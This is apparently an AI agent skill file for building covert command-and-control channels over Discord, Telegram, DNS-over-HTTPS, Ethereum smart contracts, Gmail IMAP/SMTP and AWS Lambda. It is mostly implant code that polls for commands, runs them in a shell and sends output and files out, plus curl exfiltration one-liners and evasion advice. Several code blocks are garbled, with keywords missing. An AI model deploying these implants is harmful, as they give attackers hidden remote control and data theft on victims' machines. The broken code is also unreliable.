| name | c2-alternative-channels |
| description | Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"command-and-control","when_to_use":"alternative c2, discord c2, telegram c2, blockchain c2, email c2, dns over https, dead drop resolver, cloud c2, lambda c2, serverless c2","tags":"c2, discord, telegram, blockchain, email, doh, dead-drop, cloud, serverless, covert-channel","mitre_attack":"T1102, T1071.004, T1071.003, T1573"} |
Alternative C2 Channels
Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
Quick Reference
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|
| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |
| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling |
| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 |
| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |
1. Discord Webhook C2
Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.
Setup
Implant Logic (Python)
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os
WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN = "<BOT_TOKEN>"
CHANNEL_ID = "<CHANNEL_ID>"
HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP = 30
LAST_MSG_ID = None
def poll_command():
global LAST_MSG_ID
url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
r = requests.get(url, headers=HEADERS)
if r.status_code != 200:
return None
msgs = r.json()
if not msgs:
return None
msg = msgs[0]
if msg["id"] == LAST_MSG_ID:
return None
LAST_MSG_ID = msg["id"]
return msg["content"]
def send_output(data):
for i in range(0, len(data), 1900):
chunk = data[i:i+1900]
requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})
:
cmd = poll_command()
cmd cmd.startswith():
:
out = subprocess.check_output(
cmd[:], shell=, stderr=subprocess.STDOUT, timeout=
).decode(errors=)
subprocess.TimeoutExpired:
out =
Exception e:
out =
send_output(out)
time.sleep(SLEEP)
OPSEC Notes
- All traffic goes to
discord.com:443 — TLS-encrypted, CDN-hosted
- Rate limit: ~5 requests/sec per webhook; space commands to avoid
429
- Bot token exposure = full channel compromise; rotate after engagement
- Discord logs message content — treat the channel as burned post-op
2. Telegram Bot C2
Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.
Setup
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'
Implant Logic (Python)
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time
BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID = "<CHAT_ID>"
API = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET = 0
SLEEP = 15
def poll():
global OFFSET
r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
updates = r.json().get("result", [])
for u in updates:
OFFSET = u["update_id"] + 1
text = u.get("message", {}).get("text", "")
if text.startswith("/run "):
yield text[5:]
def reply(text):
for i in range(0, len(text), 4000):
requests.post(f"{API}/sendMessage", json={
"chat_id": CHAT_ID,
"text": f"```\n{text[i:i+4000]}\n```",
"parse_mode": "Markdown"
})
def ():
(path, ) f:
requests.post(, data={: CHAT_ID}, files={: f})
:
cmd poll():
cmd.startswith():
upload(cmd[:])
:
out = subprocess.check_output(cmd, shell=, stderr=subprocess.STDOUT, timeout=)
reply(out.decode(errors=))
Exception e:
reply()
time.sleep(SLEEP)
Features
- File exfil:
sendDocument uploads files up to 50 MB
- Long polling:
getUpdates?timeout=30 reduces beacon frequency
- Inline keyboards: Build interactive menus for operator convenience
- OPSEC: Traffic to
api.telegram.org over TLS; set bot privacy mode
3. DNS-over-HTTPS (DoH) C2
DNS-over-HTTPS encapsulates DNS queries inside HTTPS to providers like Google (dns.google) or Cloudflare (1.1.1.1). Since DoH bypasses traditional DNS monitoring (no UDP/53 inspection), it creates a covert channel.
Architecture
Implant -> HTTPS -> dns.google/resolve -> Authoritative NS (operator-controlled)
^
| TXT records = encoded commands
| A records = encoded data
Implant Logic (Bash)
#!/bin/bash
C2_DOMAIN="c2.<TARGET>"
DOH_URL="https://dns.google/resolve"
SLEEP=60
encode() { echo -n "$1" | base64 | tr '+/=' '-_ ' | tr -d ' '; }
decode() { echo -n "$1" | tr '-_' '+/' | base64 -d 2>/dev/null; }
HOSTNAME=$(hostname)
IMPLANT_ID=$(encode "$HOSTNAME" | head -c 20)
curl -s "${DOH_URL}?name=${IMPLANT_ID}.reg.${C2_DOMAIN}&type=A" > /dev/null
while true; do
RESP=$(curl -s "${DOH_URL}?name=${IMPLANT_ID}.cmd.${C2_DOMAIN}&type=TXT")
CMD=$(echo "$RESP" | jq -r '.Answer[0].data // empty' | tr -d '"')
if [ -n "$CMD" ]; then
DECODED=$(decode "$CMD")
OUTPUT=$( 2>&1 | -c 200)
ENCODED=$(encode )
chunk $( | -w 60);
curl -s > /dev/null
DoH Providers
| Provider | Endpoint | Notes |
|---|
| Google | https://dns.google/resolve | JSON API, widely allowed |
| Cloudflare | https://1.1.1.1/dns-query | Wire format + JSON |
| Quad9 | https://dns.quad9.net:5053/dns-query | Less common, lower profile |
Limitations
- TXT records limited to 255 bytes per string (chain multiple)
- DNS label max 63 chars, total FQDN max 253 chars
- High-volume queries to operator domain may trigger DNS analytics
4. Blockchain-Based C2 (Ethereum Smart Contract)
Smart contracts on Ethereum (or other EVM chains) act as a censorship-resistant dead-drop. Commands are stored on-chain; the implant reads contract state via public RPC endpoints.
Smart Contract (Solidity)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract C2 {
address private owner;
mapping(bytes32 => string) private commands;
mapping(bytes32 => string) private responses;
constructor() { owner = msg.sender; }
modifier onlyOwner() { require(msg.sender == owner, ""); _; }
function setCommand(bytes32 implantId, string calldata cmd) external onlyOwner {
commands[implantId] = cmd;
}
function getCommand(bytes32 implantId) external view returns (string memory) {
return commands[implantId];
}
function postResponse(bytes32 implantId, string calldata resp) external {
responses[implantId] = resp;
}
function getResponse(bytes32 implantId) external view returns (string memory) {
return responses[implantId];
}
}
Implant Logic (Python)
"""Ethereum smart contract C2 — read commands from chain, post results."""
from web3 import Web3
import subprocess, time, hashlib
RPC_URL = "https://mainnet.infura.io/v3/<API_KEY>"
CONTRACT_ADDR = "<DEPLOYED_CONTRACT_ADDRESS>"
ABI = [...]
IMPLANT_ID = Web3.keccak(text=__import__("socket").gethostname())
w3 = Web3(Web3.HTTPProvider(RPC_URL))
contract = w3.eth.contract(address=CONTRACT_ADDR, abi=ABI)
while True:
cmd = contract.functions.getCommand(IMPLANT_ID).call()
if cmd:
try:
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
except Exception as e:
out = str(e).encode()
time.sleep(300)
OPSEC Notes
- Read operations are free — no wallet or gas needed to poll commands
- Write operations cost gas — use a side channel (DNS, HTTP) for responses
- Contract is public and immutable — use encryption for command/response data
- Use Infura, Alchemy, or public RPC nodes; traffic looks like normal Web3 calls
- Deploy on testnets (Sepolia) for testing; mainnet for real operations
5. Email-Based C2 (IMAP/SMTP)
Email C2 uses standard mail protocols. The implant logs into a shared mailbox, reads commands from emails, and replies with output. Traffic blends with normal corporate email.
Implant Logic (Python)
"""Email C2 — read commands from IMAP inbox, send results via SMTP."""
import imaplib, smtplib, email, subprocess, time
from email.mime.text import MIMEText
IMAP_SERVER = "imap.gmail.com"
SMTP_SERVER = "smtp.gmail.com"
EMAIL_ADDR = "<C2_EMAIL>@gmail.com"
EMAIL_PASS = "<APP_PASSWORD>"
OPERATOR = "<OPERATOR_EMAIL>"
SLEEP = 120
def check_commands():
imap = imaplib.IMAP4_SSL(IMAP_SERVER)
imap.login(EMAIL_ADDR, EMAIL_PASS)
imap.select("INBOX")
_, nums = imap.search(None, "UNSEEN", f'FROM "{OPERATOR}"')
commands = []
for num in nums[0].split():
_, data = imap.fetch(num, "(RFC822)")
msg = email.message_from_bytes(data[0][1])
body = msg.get_payload(decode=True).decode(errors="replace")
commands.append(body.strip())
imap.store(num, "+FLAGS", "\\Deleted")
imap.expunge()
imap.logout()
return commands
def send_result(subject, body):
msg = MIMEText(body)
msg["Subject"] = subject
msg["From"] = EMAIL_ADDR
msg["To"] = OPERATOR
with smtplib.SMTP_SSL(SMTP_SERVER, 465) as s:
s.login(EMAIL_ADDR, EMAIL_PASS)
s.send_message(msg)
while True:
for cmd check_commands():
:
out = subprocess.check_output(cmd, shell=, stderr=subprocess.STDOUT, timeout=)
send_result(, out.decode(errors=))
Exception e:
send_result(, (e))
time.sleep(SLEEP)
OPSEC Notes
- Use app-specific passwords (Gmail) or OAuth tokens
- Subject lines should mimic legitimate correspondence
- Encrypt command/response body with AES; embed key in implant
- IMAP IDLE (push) reduces polling frequency
- Corporate Exchange/O365 via EWS or Graph API blends with enterprise traffic
6. Cloud Function Dead Drops (Serverless C2)
Serverless functions (AWS Lambda, Azure Functions, GCP Cloud Functions) act as C2 redirectors. The implant calls a legitimate cloud endpoint; the function relays to the operator.
AWS Lambda Relay
import boto3, json
s3 = boto3.client("s3")
BUCKET = "<C2_BUCKET>"
def lambda_handler(event, context):
body = json.loads(event.get("body", "{}"))
action = body.get("action")
implant_id = body.get("id", "unknown")
if action == "checkin":
try:
obj = s3.get_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
cmd = obj["Body"].read().decode()
s3.delete_object(Bucket=BUCKET, Key=f"cmd/{implant_id}")
return {"statusCode": 200, "body": json.dumps({"cmd": cmd})}
except s3.exceptions.NoSuchKey:
return {"statusCode": 200, "body": json.dumps({"cmd": ""})}
elif action == "result":
s3.put_object(
Bucket=BUCKET,
Key=f"out/{implant_id}/{context.aws_request_id}",
Body=body.get("data", "").encode()
)
return {"statusCode": 200, "body": "ok"}
Azure Functions Relay
Implant Calling Pattern
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
-H "Content-Type: application/json" \
-d "{\"action\":\"checkin\",\"id\":\"$(hostname | md5sum | cut -c1-8)\"}"
curl -s -X POST "https://<FUNCTION_URL>/api/c2" \
-H "Content-Type: application/json" \
-d "{\"action\":\"result\",\"id\":\"$(hostname | md5sum | cut -c1-8)\",\"data\":\"$(whoami | base64)\"}"
Detection Signatures
| Indicator | Pattern | Mitigation |
|---|
| Discord API calls | Outbound HTTPS to discord.com/api/webhooks | Rotate webhooks; use bot API over multiple channels |
| Telegram API calls | Outbound HTTPS to api.telegram.org | Route through proxy; use MTProto instead of Bot API |
| High-frequency DoH | Repeated dns.google/resolve with encoded subdomains | Lower beacon rate; rotate DoH providers |
| Blockchain RPC | JSON-RPC calls to Infura/Alchemy with eth_call | Use public RPC endpoints; rotate providers |
| IMAP/SMTP patterns | Periodic login/logout cycles to mail server | Use IMAP IDLE; vary timing |
| Cloud function calls | Periodic POST to *.amazonaws.com / *.azurewebsites.net | Jitter timing; rotate function URLs |
| Base64 in DNS labels | Encoded subdomains in queries | Use custom encoding; fragment data |
Error Handling & Edge Cases
| Issue | Symptom | Resolution |
|---|
| Discord rate limit | HTTP 429 responses | Implement exponential backoff; reduce output frequency |
| Telegram bot blocked | getUpdates returns 409 | Only one poller per bot; use webhook mode instead |
| DoH provider blocks | DNS queries return SERVFAIL | Rotate to alternate DoH provider (Google/CF/Quad9) |
| Ethereum gas spike | Transaction pending indefinitely | Use read-only pattern; exfil via side channel |
| Email account locked | IMAP auth failure | Use OAuth; avoid rapid login cycles |
| Lambda cold start | First request takes 5-10 seconds | Use provisioned concurrency or keep-alive pings |
| Cloud function rate limit | HTTP 429 from API Gateway | Distribute across multiple functions/regions |
| TLS inspection | Proxy MITM breaks certificate pinning | Use certificate pinning bypass or alternate transport |
Decision Gate
What constraints exist on outbound traffic?
├── Web traffic only (HTTP/HTTPS whitelisted)
│ ├── Social media allowed?
│ │ ├── YES -> Discord or Telegram C2 (fastest setup)
│ │ └── NO -> Cloud function relay (*.amazonaws.com usually allowed)
│ └── Cloud services allowed?
│ ├── YES -> AWS Lambda / Azure Functions dead drop
│ └── NO -> Domain fronting (see c2-domain-fronting skill)
├── DNS allowed (UDP/53 or DoH)
│ ├── DoH to Google/Cloudflare reachable?
│ │ ├── YES -> DoH C2 channel
│ │ └── NO -> Traditional DNS tunneling (see Sliver DNS)
│ └── Custom authoritative NS available?
│ └── YES -> Full DNS C2 with TXT record encoding
├── Email allowed (IMAP/SMTP/EWS)
│ ├── Corporate Exchange/O365?
│ │ └── Use Graph API or EWS — blends with enterprise mail
│ └── External mail (Gmail)?
│ └── Email C2 with app passwords
└── Maximum stealth required
├── Blockchain C2 (censorship-resistant, no takedown)
└── Combine channels: DoH for commands, Discord for exfil
Tools & Resources